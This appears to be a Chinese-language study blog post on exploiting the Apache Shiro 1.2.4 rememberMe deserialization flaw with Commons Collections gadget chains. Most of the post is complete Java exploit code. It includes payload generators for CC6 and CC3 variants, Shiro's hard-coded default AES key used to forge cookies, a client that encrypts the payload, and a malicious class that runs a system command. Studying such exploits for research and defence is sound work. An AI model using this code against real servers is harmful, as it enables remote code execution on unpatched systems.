一、前言
在前面的学习中,我们学习了CC1、CC6链,其中CC1链受限于Java8u71版本,而CC6则是通杀的利用链;后来又将 TemplateImpl 融入到 CommonsCollections 利用链中,绕过了 InvokerTransformer 不能使用的限制,转用org.apache.commons.collections.functors.InstantiateTransformer 构造了CC3利用链,一样可以执行任意Java字节码;同时通过 TemplatesImpl 构造的利用链,理论上可以执行任意java代码,这是一种非常通用的代码执行漏洞,不受到对于链的限制,特别是内存马逐渐流行以后,执行任意 java代码的需求就更加浓烈了。
本文就通过————Shiro反序列化的漏洞,来实际学习下如何使用 TemplatesImpl
二、使用 CommonsCollections6 攻击 Shiro
1、环境安装和初步利用
Shiro反序列化的原理比较简单:为了让浏览器或服务器重启后用户不丢失登录状态,Shiro支持将持久化信息序列化并加密后保存在Cookie的rememberMe 字段中,下次读取时进行解密再反序列化。 但是在Shiro 1.2.4 版本之前内置了一个默认且固定的加密Key, 导致攻击者可以伪造任意的rememberMe Cookie,进而触发反序列化漏洞。
这里使用P牛简化的一个shrio1.2.4的登陆应用 整个项目只有两个代码文件,index.jsp 和login.jsp,依赖也仅有下面几个:
- shiro-core、shiro-web, 这是shiro本身的依赖
- javax.servlet-api、jsp-api, 这是JSP和Servlet的依赖,仅在编译阶段使用,因为Tomcat中自带这两个依赖
- slf4j-api、slf4j-simple,这是为了显示shiro中的报错信息添加的依赖
- commons-logging,这是shiro中用到的一个接口,不添加会爆 java.lang.ClassNotFoundException:org.apache.commons.logging.LogFactory错误
- commons-collectons, 为了演示反序列化漏洞,增加了 commons-collections依赖
如果登录时选择了remember me的多选框,则登录成功后服务端会返回一个rememberMe的Cookie:
攻击过程如下:
- 使用以前学过的CommonsCollections6利用链生成一个序列化Payload
- 使用Shiro默认key进行加密
- 密文作为 rememberMe的Cookie发送给服务端
生成payload CommonsCollections6.javapublic class CommonsCollections6 {public byte[] getPayload(String command) throws Exception {Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class }, new String[] { command }),new ConstantTransformer(1),};Transformer transformerChain = new ChainedTransformer(fakeTransformers);// 不再使用原CommonsCollections6中的HashSet,直接使用HashMapMap innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, transformerChain);TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");Map expMap = new HashMap();expMap.put(tme, "valuevalue");outerMap.remove("keykey");Field f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(transformerChain, transformers);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(expMap);oos.close();return barr.toByteArray();}
}
使用Shiro默认Key进行加密: Client0.javapublic class Client0 {public static void main(String[] args) throws Exception {byte[] payloads = new CommonsCollections6().getPayload("calc.exe");AesCipherService aes = new AesCipherService();byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");System.out.println(key.toString());ByteSource ciphertext = aes.encrypt(payloads, key);System.out.println(ciphertext.toString());}
}
加密的过程,使用的shiro内置的类 org.apache.shiro.crypto.AesCipherService
,最后生成一段base64字符串。 直接将这段字符串作为rememberMe的值(不做url编码),发送给shiro。并没有弹出计算器,而是Tomcat出现了报错:
这是为什么?
2、冲突与限制
我们找异常信息的倒数第一行,也就是 org.apache.shiro.io.ClassResolvingObjectInputStream.resolveClass
这是一个 ObjectInputStream的子类,其重写了resolveClass 方法
package org.apache.shiro.io;import org.apache.shiro.util.ClassUtils;
import org.apache.shiro.util.UnknownClassException;import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;/*** Enables correct ClassLoader lookup in various environments (e.g. JEE Servers, etc).** @since 1.2* @see <a href="https://issues.apache.org/jira/browse/SHIRO-334">SHIRO-334</a>*/
public class ClassResolvingObjectInputStream extends ObjectInputStream {public ClassResolvingObjectInputStream(InputStream inputStream) throws IOException {super(inputStream);}/*** Resolves an {@link ObjectStreamClass} by delegating to Shiro's * {@link ClassUtils#forName(String)} utility method, which is known to work in all ClassLoader environments.* * @param osc the ObjectStreamClass to resolve the class name.* @return the discovered class* @throws IOException never - declaration retained for subclass consistency* @throws ClassNotFoundException if the class could not be found in any known ClassLoader*/@Overrideprotected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {try {return ClassUtils.forName(osc.getName());} catch (UnknownClassException e) {throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e);}}
}
resolveClass 是反序列化中用来查找类的方法,简单来说,读取序列化流的时候,读到一个字符串形式的类名,需要通过这个方法来找到对应的 java.lang.Class 对象。
对比一下它的父类,也就是正常的ObjectInputStream类中的 resolveClass 方法:
protected Class<?> resolveClass(ObjectStreamClass desc)throws IOException, ClassNotFoundException{String name = desc.getName();try {return Class.forName(name, false, latestUserDefinedLoader());} catch (ClassNotFoundException ex) {Class<?> cl = primClasses.get(name);if (cl != null) {return cl;} else {throw ex;}}}
区别就是前者用的是 org.apache.shiro.util.ClassUtils#forName(实际上内部用到了 org.apache.cataline.loader.ParallelWebappClassLoader#loadClass) , 而后者用的是Java原生的 Class.forName.
关于这两者的区别,中间涉及到大量Tomcat对类加载的处理逻辑,参考文章
强网杯“彩蛋”——Shiro 1.2.4(SHIRO-550)漏洞之发散性思考 - zsx's Blog
http://www.rai4over.cn/2020/Shiro-1-2-4-RememberMe反序列化漏洞分析-CVE-2016-4437/
这里套用结论: 如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。 这就是解释了为什么 CommonsCollections6无法利用了,因为其中用到了 Transformer 数组
3、构造不含数组的反序列化利用链
为了解决刚刚提到的问题,我们回顾下前文说过的 TemplatesImpl,可以通过下面的几行代码来执行一段Java的字节码:
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setfieldValue(obj, "_tfactory", new TransformerFactoryImpl());obj.newTranformer();
然后结合InvokerTranformer 调用 TemplatesImpl#newTransformer 方法,
Transformer[] transformers = new Transformer[]{new ConstantTransformer(obj),new InvokerTransformer("newTransformer", null, null)
}
不过,即使在这里,依旧用到了 Transformer 数组, 不符合条件? 所以进一步想想如何去除这一过程中的Transformer 数组呢?wh1t3p1g大佬的文章中给出了行之有效的方法。
回顾下CommonsCollections6利用链中,我们用到了 TiedMapEntry, 其构造函数接收两个参数,参数1 是一个Map, 参数2是一个key。 TiedMapEntry 类有个 getValue 方法, 调用了map的get方法,并传入key:
public object getValue() {return map.get(key);
}
当这个map 是LazyMap 时, 其get方法就是触发 transform的关键点:
public Object get(Object key) {//create value for key if key is not currently in the mapif (!this.map.containsKey(key)) {Object value = this.factory.transform(key);this.map.put(key, value);return value;} else {return this.map.get(key);}}
我们以往构造CommonsCollections Gadget的时候,对LazyMap#get方法的参数key 是不关心的,因为通常 Transformer 数组的首个对象是 ConstantTransformer,我们通过ConstantTransformer 来初始化恶意对象。
但是当前由于我们没法使用Transformer 数组,也就不能使用ConstantTransformer 作为前置transformer, 但是我们发现 LazyMap#get 的参数 key,会被传进 tranformer(), 实际上它可以扮演ConstantTransformer的角色--简单的对象传递者。
Transformer[] transformers = new Transformer[]{new ConstantTransformer(obj),new InvokerTransformer("newTransformer", null, null)
}
4、改造CommonsCollections6攻击Shiro
运行环境:
java 1.8.0_71
commons-collections 3.2.1
首先还是创造 TemplatesImpl对象:
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloImpl");
setFiledValue(obj, "_tfactory", new TransformerFactoryImpl());
然后我们创建一个用来调用 newTransformer 方法的InvokerTranformer, 但注意到 是,此时先传入一个人畜无害的方法,比如getClass, 避免恶意方法在构造 Gadget的时候触发:
Tranformer transformer = new InvokerTransformer("getClass", null, null);
再把之前的CommonsCollections6
的代码复制过来,然后改上一节说到的点,就是将原来TiedMapEntry构造时的第二个参数key,改为前面创建的TemplatesImpl对象
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);TiedMapEntry tme = new TiedMapEntry(outerMap, obj);Map expMap = new HashMap();
expMap.put(tem, "valuvalue");outerMap.clear()
这里没有用outerMap.remove("obj"); 移除key的副作用,直接通过outerMap.clear(); 效果一样
最后,将 InvokerTranformer 的方法从人畜无害的 getClass ,改成newTranformer, 正式完成武器装配。 完整代码如下:
CommonsCollectionsShiro.javaimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CommonsCollectionsShiro {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public byte[] getPayload(byte[] clazzBytes) throws Exception{TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});setFieldValue(obj, "_name", "Hellotemplate");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());Transformer transformer = new InvokerTransformer("getClass", null, null);Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, transformer);TiedMapEntry tme = new TiedMapEntry(outerMap, obj);Map expMap = new HashMap();expMap.put(tme, "valuevalue");outerMap.clear();setFieldValue(transformer, "iMethodName", "newTransformer");//生成序列化字符串ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(expMap);oos.close();return barr.toByteArray();}
}
同时写个Client.java来装配上面的CommonsCollectionsShiro:
Client.javaimport javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;public class Client {public static void main(String []args) throws Exception {ClassPool pool = ClassPool.getDefault();CtClass clazz = pool.get(evil.class.getName());byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());AesCipherService aes = new AesCipherService();byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");ByteSource ciphertext = aes.encrypt(payloads, key);System.out.printf(ciphertext.toString());}
}
恶意的字节码文件
evil.javaimport com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class evil extends AbstractTranslet {public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}public evil() throws Exception {super();System.out.println("Hello TemplatesImpl");Runtime.getRuntime().exec("calc.exe");}
}
这里用到了 javassist ,这是一个字节码操纵的第三方库,可以帮助我将恶意类evil.java 生成字节码再交给 TemplatesImpl 。 生成的POC ,在 Cookie 里进行发送,成功弹出计算器
5、改造 CommonsCollections3 攻击Shiro
运行环境:
java 1.8.0_71
commons-collections 3.2.1
同上,这里也改造一个CommonsCollections3 攻击Shiro的Poc
CommonsColections3_Shiro.javaimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CommonsColections3_Shiro {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public byte[] getPayload(byte[] clazzBytes) throws Exception{TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});setFieldValue(obj, "_name", "Hellotemplate");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());Transformer faketransformer = new ConstantTransformer(1);Transformer transformer = new InstantiateTransformer(new Class[]{ Templates.class}, new Object[]{ obj});Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, faketransformer);TiedMapEntry tme = new TiedMapEntry(outerMap, TrAXFilter.class);Map expMap = new HashMap();expMap.put(tme, "valuevalue");outerMap.clear();setFieldValue(outerMap, "factory", transformer);//生成序列化字符串ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(expMap);oos.close();return barr.toByteArray();}
其他 Client.java 和 evil.java 同上